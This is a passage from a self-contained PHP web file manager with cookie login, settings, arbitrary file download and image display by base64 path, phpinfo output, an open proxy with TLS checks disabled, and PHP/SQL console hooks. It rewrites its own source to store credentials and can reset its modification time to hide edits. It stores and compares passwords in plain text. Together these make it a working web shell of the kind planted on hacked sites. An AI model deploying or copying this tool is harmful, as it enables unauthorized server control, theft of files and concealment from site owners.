	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		// ܧѧ -       ا     էާ֧ߧ     ߧѧէ 
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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